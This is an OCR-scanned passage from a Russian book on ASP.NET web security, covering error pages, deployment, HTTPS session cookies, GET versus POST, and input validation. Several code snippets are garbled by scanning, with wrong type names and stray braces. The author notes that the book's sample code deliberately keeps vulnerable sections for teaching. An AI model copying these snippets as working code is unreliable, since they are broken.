Является ли текущий режим рабочим или режимом разработки, определяет переменная окружения aspnetcore_environment. Эта переменная задана в файле Properties/launchSettings.json.
Убедитесь, что на рабочих серверах отображается именно /Ноте/Error, а не подробная ошибка. Если там показать код, то это может дать хакеру сликом много информации для взлома.
В файле /Controllers/HomeController.cs есть метод Error:
[ResponseCache(Duration = 0, Location = ResponseCacheLocation.None,
NoStore = true)]
public lActionResult Error() {
return View(new ErrorViewModel {
Requestld = Activity.Current?.Id ?? HttpContext.Traceidentifier });
}
Сейчас метод только отображает данные, но можно добавить дополнительную функциональность. Главное — не использовать никаких зависимостей. Если ошибка произошла из-за того, что не доступна база данных, то попытка обратиться из этого метода к базе данных приведет к еще одной исключительной ситуации.
Контроллер не задает cshtml-файл, поэтому .NET будет искать файл Error.cshtml в папках по умолчанию, и такой файл есть в папке Views/Shared/.
Помимо этого, в Homecontroller есть еще переменная типа iLogger, с помощью которой можно вручную добавить в журнал какую-то информацию. Например, вы отлаживаете что-либо на рабочих серверах и хотите отлавливать какие-то странные ситуации. В код можно вставить ручное добавление ошибки в журнал:
this.logger.Log(LogLevel.Information, message: "Что-то пошло не так”);
Помимо исключительных ситуаций, есть еще и другие ошибки, — например, файл не найден: 404. Следующая строка указывает на то, что ошибки нужно переадресовывать на /Еггог/КодОшибки:
app.UseStatusCodePagesWithRedirects("/Error/{0}");
Теперь МЫ можем создать контроллер Errorcontroller, и для примера я создал в нем метод, который будет вызываться в случае ошибки 404:
using Microsoft.AspNetCore.Mvc;
namespace Resunet.Controllers;
Теория безопасности
35
public class Errorcontroller : Controller {
[Route("error/404") ]
public XActionResult Index404()
{
return View("404");
)
}
He думаю, что ошибку 404 нужно сохранять где-то в журналах. Я никогда этого не делал, потому что если хакер запустит автоматическое сканирование вашего сайта, то это сгенерирует огромное количество ошибок 404, а их никто и никогда исправлять не будет. Но показывать такую ошибку, если адрес неверный, — нормально.
1.10. Отгружаем легко и часто
У меня на работе процесс сборки и обновления кода занимает очень много времени, и это реально серьезная проблема для такого большого сайта, потому что может вызвать простои для всех: программисты долго сидят в ожидании окончания компиляции, клиенты в это время не могут пользоваться сайтом, тестеры вынуждены по полчаса ждать, пока произойдет новый деплой.
У нас очень большая база кода и огромная база данных, и самым долгим процессом выкатывания обновлений становится именно обновление базы данных. Деталей его запуска я не знаю, но есть подозрение, что на время запусков ее обновления сайт просто отключают.
В этом разделе я решил поделиться личным опытом того, как в моих проектах происходит обновление кода. Не могу сказать, что мой подход единственно правильный или лучше других, но он работает. Он работал для меня в течение пяти лет, пока я полностью отвечал за некоторые проекты Sony, и работал для моих преемников еще года три после того, как я из этих проектов ушел и поддерживал их уже как консультант.
В работе с облачными технологиями многое уже автоматизировано, и желательно использовать встроенные в них подходы. В ИТ для этого даже появился новый термин и профессия — DevOps. Это люди, которые находятся между программистами, администраторами и рабочими серверами. Они берут на себя всю заботу по поддержке рабочего окружения: тестового (QA, Quality Assurance), публичного, которым пользуются все (сокращенно на английском его называют prod) или любого другого. Для отгрузки кода в любое окружение используется Pipeline (канал или конвейер), когда заранее подготовленные скрипты выполняют всю необходимую работу по доставке кода в любое нужное окружение.
В Azure5 нам уже предлагают готовые шаблоны для выполнения всех основных задач, но их иногда приходится корректировать для определенных нестандартных
5 Azure — комплексная облачная платформа от компании Microsoft, на которой можно размещать существующие приложения и оптимизировать новую разработку приложений.
36
Гпава 1
решений. Я думаю, у конкурентов Azure тоже есть подобные решения, но просто с AWS6 я работал последний раз лет семь назад, а с другими не сталкивался. В этом разделе я расскажу о том, как обновлял сайты Sony еще в 2010 году, — до того, как современные системы получили распространение. Это полезно с точки зрения теории, и вы увидите, что те решения отражены в нынешних автоматизированных процессах.
Публикация сайта должна быть максимально простой и выполняться за одну команду — ну или хотя бы за один щелчок мышью. Я предпочитаю команды, поэтому обьгчно пишу скрипты, которые делают все за меня.
Если вы не можете обновить сайт в любой момент — значит, у вас проблемы. Если вы не можете обновить его быстро — у вас снова проблемы. Ведь если выявилась проблема безопасности, вы должны иметь возможность обновить сайт сразу же.
Есть такой мем с названием книги, который в культурной форме можно перевести так: «Тяп-ляп и в продакшен». Над этим смеются, но в реальности это существует. Проблемы возникают, и в случае выявления уязвимости или другой серьезной угрозы безопасности вы должны иметь возможность как можно быстрее отгрузить код на рабочие серверы. У меня была ситуация, когда пришлось отгружать его раза три за день. Эго случилось при возникновении проблемы с производительностью, — мы быстро оптимизировали код, проверяли его тестами, проверяли вручную и отгружали на рабочие серверы, после чего тут же смотрели на изменения и работали над новым улучшением.
Бывают также авралы, когда обновлять сайт приходится несколько раз из-за того, что маркетинг захотел что-то в нем изменить. А вот из-за проблем безопасности мне пока не приходилось делать внеплановые обновления, потому что при правильном подходе к разработке серьезных проблем по этой части возникать не должно.
Для того чтобы обновлять сайт в любой момент, я просто следовал следующим правилам:
□ вся разработка велась только в отдельных ветках, и только рабочий и протестированный код попадал в master-ветку. Поэтому master всегда был готов к отгрузке, поскольку был идентичен коду на рабочих серверах. Если возникала проблема, мы создавали новую ветку, исправляли код, тестировали его, сливали с master и тут же отгружали master на рабочие серверы;
□ у вас должны быть хорошие тесты, которые выполняются очень быстро. Если выполнение тестов занимает два часа, то у вас проблемы: вы не сможете быстро отгрузить код и в случае возникновения проблем не сможете быстро исправить ошибку;
□ желательно, чтобы была возможность отката кода приложения, и это достаточно легко реализовать. Проблемы возникают даже тогда, когда вы хорошо все тес-
6 Amazon Web Services (AWS) — самая распространенная в мире облачная платформа с широчайшими возможностями, предоставляющая более 200 полнофункциональных сервисов для центров обработки данных по всей планете.
Теория безопасности
37
тируете, но может сложиться ситуация, когда запуск нужно остановить и даже откатить, и об этом надо думать заранее.
1.10.1. Обновление базы данных
Когда вы пишете код, то все изменения базы данных должны делаться так, чтобы они не ломали существующий код. Чтобы достигнуть этого, старайтесь не использовать хранимые процедуры. Они хороши с точки зрения производительности, но могут стать причиной ошибок. Если количество параметров изменится, то после обновления базы данных старый код не сможет работать с новыми процедурами, и это приведет к ошибкам и, возможно, к простою всего сайта.
Не удаляйте и не переименовывайте колонки. Это можно делать, но только аккуратно, за несколько шагов:
1. Добавляем новую колонку и переносим в нее данные.
2. Запускаем код.
3. Убеждаемся, что все данные перенесены и старый код не добавил ничего между шагами 1 и 2.
4. Теперь у нас код работает только с новой колонкой, и старую можно удалить.
То есть пишите код так, чтобы вы могли добавлять колонки, а существующий код не должен при этом падать от того, что в таблице появилась новая колонка.
Вы должны всегда иметь возможность взять старый код, наложить на него все изменения базы данных, и код после этого должен продолжать работать и не сломаться. Тогда запуск можно будет делать без отключения серверов: вы накладываете изменения базы данных на рабочий сервер в горячем режиме, обновляете код и просто переключаете сервер на папку с новым кодом или копированием переносите код на рабочий сервер, что может привести к небольшому простою только на время копирования, — даже при большом сайте это одна минута максимум. В случае нагруженных систем, когда у вас несколько серверов приложений, можно добиться 100-процентной доступности даже при обновлении кода, но об этом мы поговорим немного позже.
Если вы пишете код так, чтобы старый код работал с новыми изменениями базы данных, то можно достичь максимальной доступности сайта, а в случае проблем вы сможете отменить изменения кода. Допустим, вы изменили базу и отгрузили новый код, который не работает с этими изменениями и приводит к какой-то серьезной проблеме. Тогда вы без проблем можете вернуть старый код, и он продолжит работать как ни в чем не бывало. А изменения базы данных откатывать не понадобится.
В моей практике мне приходилось несколько раз отменять запуски изменений, и причиной тому были не ошибки кода, а бюрократические проблемы или проблемы безопасности. Например, однажды мы запускали код, который должен был начать работать с Google reCAPTCHA (проверкой на робота), но когда мы обновили первый сервер, то выяснили, что рабочее окружение не имеет доступа к серверам Google для проверки токена, — в рабочем окружении стоял сетевой экран, который
ЗВ
Глава 1
блокировал все, что явно не было разрешено, и любые исходящие были запрещены. Это представляло собой защиту от «потайных дверей», которые хакеры могут забросить на сервер и через которые будут пытаться соединиться с внешним миром. Открытие соединения с Google заняло несколько дней, и нам на это время пришлось откатить код без отмены изменений баз данных, с чем у нас не возникло никаких проблем.
1.10.2. Копирование файлов
Вариантов обновления кода — масса, но это делать просто, если у вас база обновляется в безопасном режиме и изменения не ломают работающий код.
Для отгрузки контента в своих личных проектах и для проектов Sony я использовал утилиту rsync. Ее можно настроить так, чтобы она копировала данные через SSH, и такие решения удобны для защищенных окружений. Снова вспоминаю работу над проектами для Sony, когда рабочее окружение должно было быть максимально защищено. Подключение к нему ограничивалось по максимуму, и подключиться к серверам можно было только по SSH и только со специального Deploy-сервера, который мог подключаться ко всем серверам приложений. И вот тут rsync великолепно спасала меня.
В отличие от утилиты scp, которая просто копирует данные на сервер, rsync намного умнее — она может синхронизировать данные, копировать только изменения и удалять с рабочих серверов удаленные файлы. Очень важно удалять с рабочих серверов то, что уже не актуально.
Опять же, в случае с большим сайтом, когда только в каталоге bin может находиться до сотни файлов плюс еще много файлов представлений и контента, копирование всего этого может занимать слишком много времени, поэтому лучше было бы копировать только изменения, и это можно сделать так:
rsync -avh /source/path/ host:/destination/path
Копирование только измененных файлов может значительно ускорить публикацию кода.
Под Windows также можно использовать команды *nix — если поставить среду Cygwin7, и именно ее я и использовал в 2000-х годах. Конечно же, современный Power Shell, наверное, уже позволяет производить обновление так же беспроблемно, но я как-то эту сторону вопроса не исследовал. Сейчас у Windows есть еще и подсистема WSL (Windows Subsystem for Linux, или подсистема Linux для Windows), которая также может выполнять команды Linux в файловой системе Windows.
Единственная проблема rsync — она нестабильно работает, если ее выполнять как команду в терминале. Синхронизация тогда может завершиться зависанием про-
7 UNIX-подобная среда и оболочка командной строки для Microsoft Windows.
Теория безопасности
39
граммы. Проблема решается запуском rsync в качестве демона в ОС. В этом режиме я не сталкивался с проблемами.
1.10.3. Распределенное окружение
Запуск на один сервер — это, конечно, круто и интересно, но еще интереснее запуск на множество серверов. Я не знаю, как сейчас, но когда я работал на Sony, то Sony Rewards8 в свое время обслуживали шесть серверов приложений, a Wheel of Fortune (в российском варианте — это «Поле чудес») — до восьми, потому что сразу же после шоу на сайт направлялось такое количество посетителей, которое один сервер обработать не мог просто теоретически.
Причем шесть серверов, которые обрабатывали Sony Rewards, также обслуживали и Wheel of Fortune. Это было сделано не случайно — просто оказалось выгоднее распределять запросы на несколько серверов, чем обслуживать каждый сайт собственным. Но это уже отдельная тема, а сейчас мы обсуждаем запуск сайтов. Тут главное, что в состоянии спокойствия (по утрам) было очень мало трафика, и в это время один сервер физически мог обслужить оба сайта, что важно знать при запуске. Нужно понимать, сколько серверов реально необходимо для обслуживания.
Итак, допустим, что у вас есть пять серверов приложений, а для нормальной работы сайта необходимо минимум два. Во время запуска отключаются серверы № 1 и 2 и на них копируется новый код. Когда копирование заканчивается, серверы № 1 и 2 включаются в ротацию, а остальные отключаются. После этого начинается мониторинг ошибок и проверка сайта вручную — чтобы убедиться, что он работает корректно и нет новых ошибок. То есть в течение часа в ротации находятся только два сервера с новым кодом, а остальные отключены.
Если в течение часа (а может, и дольше) проблемы не найдены, то остальные три сервера обновляются и вводятся в ротацию. Если проблемы нашлись, то серверы № 1 и 2 с новым кодом отключаются, в ротацию возвращаются серверы № 3-5 со старым кодом, а новый код отправляется на доработку и перезапуск. Серверы № 1 и 2 могут в это время стоять отключенными и ожидать новой версии кода — впрочем, можно на них вернуть старый код и вернуть их в ротацию со старой версией кода.
При высокой нагрузке даже хорошее тестирование может не выловить все ошибки, потому что в распределенном окружении с рабочей нагрузкой одна блокировка ресурсов может привести к тому, что сайт окажется недоступен, и в тестовом окружении эту блокировку сложнее выловить.
Чем проще запуск сайтов, тем лучше. Все должно запускаться одной командой — тогда в случае экстренных ситуаций вы сможете запустить новые изменения или откатить данные без проблем в считанные минуты и сократить недоступность сайта до минимума.
’ Sony Rewards — программа вознаграждений Sony, позволяющая конвертировать «ачивки» PlayStation Network в реальные деньги.
40
Гпава 1
1.11. Шифрование трафика
Сейчас все больше усилий направляется в сторону шифрования трафика, чтобы обезопасить данные посетителей от возможного перехвата. Если хакер перехватит трафик, то можно, конечно, винить посетителя за то, что он не был осторожен, но в реальности это все же проблема владельцев сайта, не позаботившихся о своих посетителях.
Я не сильно разбираюсь в продвижении сайтов, но слышал, что Google ценит сайты, которые используют защищенные протоколы HTTPS.
Забота о посетителях — это проблема программистов и владельцев сайтов. Да, шифрование требует дополнительных ресурсов на сервере, уменьшает возможности кеширования, но когда встает вопрос: безопасность или скорость? — безопасность должна иметь более высокий приоритет.
При подключении по HTTPS шифруется всё, даже URL. Все параметры, тело запроса, заголовки и прочее будут зашифрованы, потому что сначала открывается зашифрованный канал между посетителем и сервером, и только потом начинают идти запросы.
Работая над проектами для Sony, мы реализовали поддержку двух сессий: защищенной и открытой. Когда посетитель авторизовывался, то для него создавались сразу две сессии и два cookie с двумя разными идентификаторами. Одно значение cookie— с именем SSesionld (Secure Session Id, или идентификатор защищенной сессии) — было привязано к протоколу HTTPS и передавалось только по защищенному протоколу. Второе (Sessionld, незащищенный идентификатор) было открыто и передавалось как по HTTPS, так и по HTTP.
Общие страницы, на которых не было персональной информации, отгружались по протоколу HTTP, и в этот момент для идентификации посетителя использовалось значение Sessionld. Такие же страницы, как управление собственным аккаунтом, регистрация, авторизация, страницы оформления заказа, были доступны только по протоколу HTTPS.
Специалисты двух крупных компаний, которые работают в сфере безопасности, посчитали такое решение рабочим. Главное, чтобы cookie, которая идентифицирует сессию HTTPS трафика, передавалась только по HTTPS. Для этого при создании cookie нужно обязательно установить secure параметр в true:
CookieOptions options = new CookieOptions();
options.Secure = true;
Рассмотрим варианты перехвата чужого трафика:
□ создание открытой сети Wi-Fi и ожидание, когда кто-нибудь подключится к этой сети, чтобы воспользоваться бесплатным Интернетом;
□ создание сети Wi-Fi с таким же именем, как у жертвы, но без пароля. Увидев знакомое имя, человек может подключиться к сети, и подключение без пароля будет успешным;
Теория безопасности
41
□ взлом чужой сети Wi-Fi — у беспроводных сетей уже отмечены проблемы безопасности;
□ подключение к чужой проводной сети.
Это достаточно простые варианты подключения хакера к чужой сети, после чего он может начать прослушивать (перехватывать) весь трафик, и если он не зашифрован, то хакеру станут доступны передаваемые имена/пароли, номера кредитных карт и любая другая информация.
В нашей реализации — с двумя сессиями — у хакера остается возможность перехватить публичный Sessionld, который передается по незашифрованному протоколу. В результате он сможет украсть сессию и получить доступ к публичным страницам — таким как домашняя страница сайта, каталог продукции Sony и т. п. Но эти страницы публичны и не содержат ничего важного.
Однако как только хакер попытается обратиться к странице с важной информацией — например, к странице настройки аккаунта, у него не будет пользовательского защищенного Ssessionld, и сервер сразу же отключит сессию и пометит обе сессии как скомпрометированные.
Таким образом нам удалось в свое время достичь баланса производительности и безопасности. Публичные страницы передавались по протоколу HTTP и могли кешироваться любыми прокси-серверами. Защищенный трафик проходил через Интернет в зашифрованном виде и был невидим для прокси-серверов, что вызывало проблемы с кешированием. Однако зашифрованные страницы могут кешироваться на компьютере посетителя в браузере, потому что браузер перёд отображением страницы, конечно же, расшифровывает данные.
Этот подход пытались взломать несколько компаний, работающих в сфере безопасности. Но за все годы его работы не было известно ни об одном успешном взломе чужих аккаунтов за счет воровства сессии.
В этой книге я не буду на практике реализовывать вариант с двумя сессиями, а ограничусь только теоретическим описанием принципа его работы.
И если вы не хотите усложнять разработку, то проще шифровать весь трафик и иметь только один-единственный идентификатор сессии. Иногда «проще» означает «надежнее», и стоит выбирать более надежный и безопасный подход, если есть какие-то сомнения.
Так, чтобы включить переадресацию на защищенный протокол, можно добавить в Program.cs следующий код:
if (!builder.Environment. IsDevelopnent ()) {
builder. Services. AddHttpsRedi rect ion (options =>
{
options. Redi rectStatusCode = (int) HttpStatusCode. PermanentRedi rect;
options.HttpsPort = 443;
});
}
42
Глава 1
В режиме разработки переадресации не будет, но если сайт запущен в рабочем режиме (release), то включается автоматическая переадресация на защищенный протокол для всего сайта. Это самый простой и безопасный подход с полным шифрованием сайта. Правда, на сервере должен быть установлен необходимый сертификат, чтобы происходило шифрование данных.
Также учтите, что если иметь только один идентификатор сессии, но при этом шифровать лишь часть страниц сайта, то в случае кражи этого идентификатора хакер получает полный контроль над сайтом, и частичное шифрование уже не защитит посетителя. Так что нужно или реализовывать две сессии для разных протоколов, или шифровать весь сайт.
Если на вашем сайте нет никакой персональной информации, нет регистрации, авторизации, а просто текст, то шифрование по протоколу HTTPS можно не применять. Так, на моем сайте http://dev.profwebdev.com/ не предусмотрена работа по протоколу HTTPS, потому что там нет информации, которую какие-либо хакеры захотели бы перехватить. А вот в моем блоге https://www.flenov.info/ есть авторизация, и чтобы упростить код сайта, я просто включил шифрование и обязательную переадресацию на HTTPS для всех страниц.
1.12. POST или SET?
У меня есть видео самых провальных интервью, и там одним из ужасных вопросов был такой: как узнать, что посетитель не загружает страницу, а отправляет данные на сервер? Правильным ответом многим казался: использовать свойство is PostBack. Прямую ссылку на видео оставлять не буду, а кому интересно, попробуйте В YouTube поискать: Самые провальные интервью.
Почему этот ответ плохой? Во-первых, потому что он работает только в проектах WebForms на С#. Это узкая реализация для определенного фреймворка, который уже на тот момент был не рекомендован, и все переходили на MVC. Во-вторых, это значит, что интервьюируемый не понимает, как работает isPostBack.
Что лучше: знание конкретной функции или понимание, как что-то работает? Если меня на интервью спрашивают о конкретных функциях, то я считаю это ужасными вопросами, поскольку ответ на них ни о чем обо мне не говорит... Так и в том видео — сразу два ужасных интервью были про вопросы о конкретных реализациях, а не о понимании.
Если человек понимает, как что-то работает, то он отыщет правильный ответ, и даже если не найдет нужную функцию, без проблем реализует что-то сам,— и isPostBack ему не понадобится. Для отправки данных надо использовать другой метод — POST, и поэтому я хотел бы сейчас поговорить о разнице между методами POST и GET.
В том видео я отмечал, что в случае запросов GET можно по наличию параметров определить, что это отправка данных от пользователя. Как реализовано свойство IsPostBack? Оно магически умеет... хотя нет, нужно говорить «умело», потому что эта разработка была полным провалом, и MS убрали WebForms.
Теория безопасности
43
Итак, у isPostBack было преимущество — оно работало как с GET-, так и с POST- формами. Если вы смотрели мое видео про провальные интервью, то я там также утверждал, что по наличию каких-то параметров можно определить: это GET или POST. Так вот, IsPostBack на самом деле именно так и работает.
ASP.NET при отображении страницы WebForms генерирует вот такие два параметра, которые по умолчанию не содержат данных:
<input type="hidden" name=" EVENTTARGET"
id-" EVENTTARGET" value-"" />
<input type="hidden" name-" EVENTARGUMENT"
id-" EVENTARGUMENT" value-"" />
При отправке формы эти данные заполняются значениями с помощью JS:
<script language="text/javascript">
function doPostBack(eventTarget, eventArgument) {
if (!theForm.onsubmit II (theForm.onsubmit() != false)) {
theForm. EVENTTARGET.value = eventTarget;
theForm. EVENTARGUMENT.value = eventArgument; theForm.submit();
}
</script>
Теперь на сервере IsPostBack может проверить — есть параметры или нет.
Если программист знает эту банальную вещь, то ему плевать — есть во фреймворке IsPostBack или нет, он может его реализовать за минуту, поэтому понимание важнее знания конкретных функций.
Но даже это не нужно, потому что разница между отправкой данных на сервер и запросом на отображение данных должна быть всегда реализована разницей в методах GET и POST.
Метод GET предназначен для того, чтобы пользователь запрашивал данные с сервера. Он должен только отображать результат запроса. Запрос может быть таким: покажи мне данные определенной статьи:
GET http://www.flenov.info/show/!
ИЛИ
GET http://www.flenov.info/show?id=l
Поиск на сайте тоже должен реализовываться через GET-запрос, потому что мы не сохраняем данные на сервере, а просим: покажи мне результат поиска:
https://www.flenov.info/search/index?search=php
Этот запрос просит показать все заметки на моем сайте, где встречается слово рнр.
Отличительная черта GET-запроса — параметры должны передаваться через строку URL. Именно должны, но не обязаны. Разница здесь в том, что в теории вы можете програмно создать запрос, в котором параметры будут как в URL, так и в теле запроса. Но это будет нарушением правил, потому что идея GET-запросов состоит
44
Гпава 1
в том, что они должны легко копироваться или сохраняться. GET-запрос может сохраняться в закладках, а закладки сохраняют только URL и игнорируют тело, если оно там было. Вы должны иметь возможность просто взять URL из браузера, отправить его другому пользователю по почте или через мессенджер или опубликовать его в социальной сети, и пользователь при загрузке страницы должен увидеть то же самое, что любой другой пользователь.
Я как-то спорил с менеджером проекта, который потребовал, чтобы определенный URL был привязан к другому: вы должны зайти на одну страницу, там выбрать параметры, эти параметры сохраняются в сессии, потом происходит переход на другую страницу, и там содержимое зависит от значений в этой сессии. Это ужасно! Я говорю менеджеру: «Представляешь, если кто-то отправит себе этот URL или опубликует его в сети, а результат не будет соответствовать тому, что пользователь ожидает увидеть?».
Так как GET-запросы изначально реализованы для передачи только через URL, и в тело поместить параметры проблематично, — нужно было идти на ухищрения, и менеджер проекта предложил использовать сессии. При этом параметров могло быть много, и они бы выглядели в URL уродливо. Это ужасный подход, потому что в URL должны быть все параметры, которые влияют на отображение.
Меня бесит, когда я подбираю что-то в электронном магазине, сохраняю ссылку с результатом поиска в закладке, а когда впоследствии выбираю ссылку из закладок, она не возвращает того, что было видно ранее... Эго ужасный пользовательский опыт — такого не должно быть.
Итак, запросы GET должны быть только на отображение, потому что это наши просьбы серверу показать что-то.
Любые попытки сохранить что-то на сервере должны реализовываться только через POST. Запросы POST не должны добавляться в закладки, желательно также, чтобы они не отображали данные. POST-запрос отправляет данные, данные сохраняются, и нужно тут же перенаправить посетителя на страницу подтверждения или отображения методом GET.
Допустим, что вы хотите создать страницу регистрации на сайте, и форму сделаете методом GET:
https://www.flenov.infо/register/index
Посетитель вводит данные email и пароль и отправляет на сервер методом GET. Во- первых, это проблема безопасности, потому что эти параметры будут отображены bURL:
https://www.flenovjafo/register/index?email=test@maiLcom&passwoni=pass
В этой строке видно имя и пароль, которые могут быть легко перехвачены, и они никак не защищены.
Во-вторых, что произойдет, если посетитель скопирует этот URL, опубликует его в социальной сети или отправит кому-то? Большинство пользователей — не такие
Теория безопасности
45
хорошие специалисты, как вы, поэтому просто не подумают об этой проблеме. Каждый, кто получит ссылку, увидит имя и пароль.
Вторая проблема не связана с безопасностью, но тоже очень важна. Допустим, что возможность оставлять комментарий в блоге тоже реализована методом GET:
https://www.flenov.info/comment/add?text=cnacn6o
Здесь в URL передается комментарий, который должен быть сохранен в базе данных.
Здесь нет ничего страшного с точки зрения безопасности. Но что если этот URL снова окажется в социальной сети или в закладке? Каждый раз, когда кто-то будет обращаться к этому URL, будет производиться попытка добавить комментарий! Эго снова ужасный с точки зрения работы с сайтом опыт.
Еще одна разница: запросы методом POST никогда не кешируются, по крайней мере не должны. Если какой-то кеш-сервер сохранит в кеше POST-запрос, то это будет плохо. Если посетители из России и Канады обращаются к URL:
https://www.flenov.info/search/index?search=php
то оба, скорее всего, хотят увидеть один и тот же результат — все статьи, где есть СЛОВО PHP.
А если посетители обращаются методом POST к странице:
https://www.flenov.info/register
которая представляет собой страницу регистрации, то при отправке запроса методом POST в его теле будут присутствовать email и пароль. И если кто-то поместит этот запрос в кеш, то это может стать проблемой. При отправке данных они не будут доходить до сервера, а кеш-сервер станет тут же возвращать результат, который находится в его хранилище.
Именно поэтому запрос POST не должен кешироваться, так что разница между двумя подходами заключается еще и в возможностях оптимизации.
Итак, получать данные мы должны методом GET, а отправлять на сервер данные— методом POST. Эго важно с точки зрения безопасности и опыта работы с сайтами.
1.13. Ограничение времени выполнения
Когда с сервером работает множество посетителей одновременно, нужно быть очень аккуратным, чтобы запросы не выполнялись слишком долго. Если какие-то запросы на сервер выполняются долго, то это может привести к отказу в обслуживании, потому что у сервера не останется ресурсов на то, чтобы обслуживать посетителей.
Обязательно ограничивайте время выполнения запросов к базе данных. У меня время выполнения конфигурировалось, но по умолчанию время запроса ограничивалось пятью секундами. Даже этого много для большого сайта, потому что если сервер выполняет запрос так долго, то он не справится с большой нагрузкой.
46
Гпава 1
Если у запросов не будет ограничений, то они могут выполняться бесконечно, и когда сервер израсходует ресурсы, то при большом трафике ресурсов уже никому не достанется.
Уж лучше прервать работу одного посетителя, запрос которого по какой-то причине выполняется долго, чем множество посетителей столкнутся с проблемами.
1.14. Кто проверяет данные?
Когда мы взаимодействуем с веб, то очень часто приходится работать с данными, которые приходят от посетителя. Сначала посетитель вводит данные в браузере, а потом эти данные отправляются на сервер, где мы их обрабатываем.
Проверка корректности данных может быть реализована прямо в браузере с помощью JavaScript. Посетитель будет видеть результат проверки сразу, потому что не придется направлять запросы на сервер и ожидать ответа, и таким образом — если возложить проверку на браузер — можно сэкономить ресурсы сервера.
Один из недостатков такого подхода — не все проверки можно сделать в браузере. Например, без сервера нельзя узнать, существует посетитель в базе данных или нет. Когда посетитель исправит все ошибки проверок в браузере, он потом получит новый набор ошибок от сервера.
Вторая проблема — проверку в браузере легко обойти, и хакер сможет направлять любые данные серверу напрямую.
Если же проверять на сервере, то увеличится нагрузка на вашу инфраструктуру, но зато это надежно, и если нет ошибки в вашем коде, то обойти такую защиту будет невозможно.
Чтобы получить преимущества обоих миров, мы должны производить проверку как с помощью JavaScript, так и на сервере. Правда, при этом мы наследуем и недостаток проверки на JS — двойной набор ошибок. В тех случаях, когда мы не можем проверить всё только в браузере, посетитель будет получать сначала ошибки проверок из JS, а потом — с сервера.
ГЛАВА 2
Аутентификация и авторизация
Аутентификация — проверка подлинности предъявленного пользователем идентификатора. Наиболее распространенными в этом плане сейчас являются парольные системы. Здесь у пользователя есть идентификатор (в этой роли часто выступает email) и пароль.
Авторизация — предоставление определенному лицу или группе лиц прав на выполнение каких-либо действий, а также процесс проверки (подтверждения) этих прав при попытке выполнения таких действий.
Упрощая эти определения, можно сказать, что аутентификация — это подтверждение личности того, кто выполняет действие, а авторизация — это подтверждение того, что может делать пользователь.
В .NET есть готовые классы, которые позволяют быстро реализовать аутентификацию и авторизацию. Эти классы написали профессионалы, и их реализации стоит доверять. Но я все же расскажу, как можно создать собственные варианты аутентификации и авторизации, потому что на этих примерах очень хорошо рассматривать вопросы безопасности. Мы разберемся, почему что-то делается именно так, как организовано в готовых библиотеках, и какие при этом могут быть подводные камни в их реализации и обеспечении безопасности.
Даже если вы никогда не будете создавать программы аутентификации, регистрации и авторизации самостоятельно, я все же рекомендую познакомится с этой главой — тут вы найдете для себя много интересного.
2.1. Шаблон приложения
Мы будем разрабатывать веб-приложение — блог — и на его примере знакомиться с принципами организации безопасности. Я надеюсь, что вы уже знаете основы языка программирования С#, поэтому не стану подробно комментировать каждую строку кода. Если вы читали мою книгу «Библия С#» [3], то точно сможете разобраться с примерами.
Немного о том, что станет основой для приложения, с которым мы будем далее работать. Мы задействуем для этого различные технологии, но начнем с классиче-
48
Гпава 2
ского представления Model-View-Controller. Так что создайте новый проект с использованием шаблона Web Application (Model View Controller).
В Visual Studio есть еще один веб-шаблон — Pages. Он отличается от Web Application только тем, как представления общаются с кодом, что не сильно влияет на рассматриваемый нами материал. Но я просто привык группировать код в контроллеры — мне так привычнее.
На момент подготовки книги последней версией является .NET 8, поэтому примеры будут использовать в качестве базы именно его.
При создании проекта не выбирайте никакой аутентификации, мы всё это будем писать чуть позже сами.
Исходный код можно найти на GitHub1, и вы можете его использовать в любых своих проектах, но только на свой страх и риск, поскольку:
□ для иллюстрации уязвимостей я намеренно буду оставлять в коде проблемные участки;
□ чтобы код был проще и нагляднее, в нем далеко не все будет прописано идеально.
Примечание
Файловый архив с исходными кодами примеров, приведенных в книге, можно также скачать по ссылке: https://zip.bhv.ru/978597752021влр. Эта ссылка доступна и со страницы книги на сайте https://bhv.ru/ (см. приложение).
Я буду стараться по возможности писать код аккуратнее, но в то же время для целей книги он должен быть еще и наглядным, и простым — чтобы примеры не занимали в ней сразу несколько страниц.
Дизайн сайта также будет максимально простым, потому что эта книга не о красоте визуального интерфейса, а о безопасности.
На рис. 2.1 показана структура проекта. Помимо стандартных каталогов для контроллеров и представлений, луг можно заметить две папки: BL (Business Layer, уровень бизнес-логики) и DAL (Data Access Layer, уровень доступа к данным). Та- кую архитектуру называют слоеной, и она достаточно популярна в разработке больших сайтов и приложений. Основная идея ее заключается в том, что каждый уровень играет определенную роль, при этом такой код проще сопровождать.
Для хранения данных в базе я воспользуюсь сервером MS SQL Server — это самый популярный сервер баз данных .NET-приложений. Программисты могут свободно скачать этот сервер2 и при установке выбрать лицензию для разработки (Developer), что позволяет использовать все возможности этой базы данных бесплатно, но только с целью разработки. Работаю над этой книгой я в среде macOS, для которой можно задействовать Docker-версию сервера.
В файловом архиве, сопровождающем книгу, можно найти файл Database.sql, который создает необходимую для примеров схему базы данных. По мере надобности я
1 См. https://github.com/mflenov/csharphacker.
2 См. https://www.microsoft.com/en-ca/sql-server/sql-server-2019.
Аутентификация и авторизация 49
буду показывать отдельные части этого файла, чтобы вам проще было читать материал и не открывать постоянно SQL-файл, чтобы посмотреть, какие поля я добавляю в таблицы. Этот файл поможет вам создать структуру базы данных у себя на локальном сервере, чтобы вы могли ее тестировать.
§ Solution *
v§ MyBlog
V П MyBlog
Connected Services
> fe Dependencies
v^ BL
v Bl Implementations
|o| AuthenticationBL.es
vfc Interfaces
(o) IAuthenticationBL.cs
> Controllers
vfe DAL
v fe Implementations
v Interfaces
[o) IAuthenticationDAL.es
> Bl Models
> Bl Properties
> Bl Views
> В wwwroot
> [oj appsettings.json
0 Program.es
Рис. 2.1. Проект тестового приложения
В процессе изучения материала этой главы мы будем решать классические задачи, с которыми может сталкиваться в каждодневной работе программист. Начнем мы с процесса регистрации и авторизации на сайте и рассмотрим этот процесс без каких-то дополнительных помощников, которые уже есть в ASP.NET. Это не значит, что я рекомендую писать авторизацию вручную. Встроенные возможности можно и даже нужно использовать, если их достаточно для вашего приложения. Я же делаю всё с нуля только для того, чтобы мы рассмотрели на этом примере вопросы безопасности.
Создать собственную реализацию авторизации не так уж и сложно. В свое время всю авторизацию для rewards.sony.com я реализовал за пару дней, а это достаточно сложный процесс создания нового аккаунта. На подготовку этой книги, включая все примеры, я планировал потратить 2,5 месяца, и это притом что работа над ней осуществлялась уже после основной работы, — т. е. по вечерам. Успел ли я? Как видите, да. В результате я затратил на работу над книгой два месяца и при этом
50
Глава 2
